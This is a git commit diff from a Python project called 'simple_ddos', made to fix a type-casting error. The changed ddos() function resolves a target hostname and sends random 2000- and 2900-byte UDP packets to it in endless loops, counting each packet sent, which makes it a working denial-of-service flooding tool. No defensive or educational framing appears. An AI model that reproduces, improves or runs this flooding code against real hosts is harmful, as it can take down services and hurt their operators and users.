Add gethostbyname method to fix type casting error

This commit is contained in:
Tiffany 2023-11-09 17:40:41 -05:00
parent 846b86fafd
commit 68cc8479f6
2 changed files with 6 additions and 19 deletions

View file

@ -2,17 +2,4 @@
# simple_ddos/__init__.py # simple_ddos/__init__.py
__app_name__ = 'simple_ddos' __app_name__ = 'simple_ddos'
__version__ = "0.1.0" __version__ = "0.1.0"
# import socket
#
# ( socket.gaierror,
# KeyboardInterrupt,
# NameError
# ) = range(3)
#
# ERRORS = {
# KeyboardInterrupt: 'Keyboard Interrupt. Terminating session...',
# socket.gaierror: 'Unknown address.' + '\n' + 'Please input the correct ip address.',
# NameError: 'Unknown address.' + '\n' + 'Please input the correct ip address.'
# }

View file

@ -37,7 +37,6 @@ bytes1 = random.randbytes(2000)
bytes2 = random.randbytes(2900) bytes2 = random.randbytes(2900)
system = platform.uname().system system = platform.uname().system
# this is better system = getattr(platform.uname(), "system") # this is better system = getattr(platform.uname(), "system")
# instead of hardcoding a specific index # instead of hardcoding a specific index
# because if something in the l # because if something in the l
@ -55,17 +54,18 @@ def check_os():
# Why use a try # Why use a try
def ddos(target: str, port: str, ip: bool = False): def ddos(target, port, ip: bool = False):
sent = 0 sent = 0
net = socket.getaddrinfo(target, port)
try: try:
while True: while True:
sock.sendto(bytes1, (target, port)) net = socket.gethostbyname(target)
sock.sendto(bytes1, (net, port))
sent = sent + 1 sent = sent + 1
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port)) print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
while True: while True:
sock.sendto(bytes2, (target, port)) net2 = socket.gethostbyname(target)
sock.sendto(bytes2, (net2, port))
sent = sent + 1 sent = sent + 1
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port)) print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))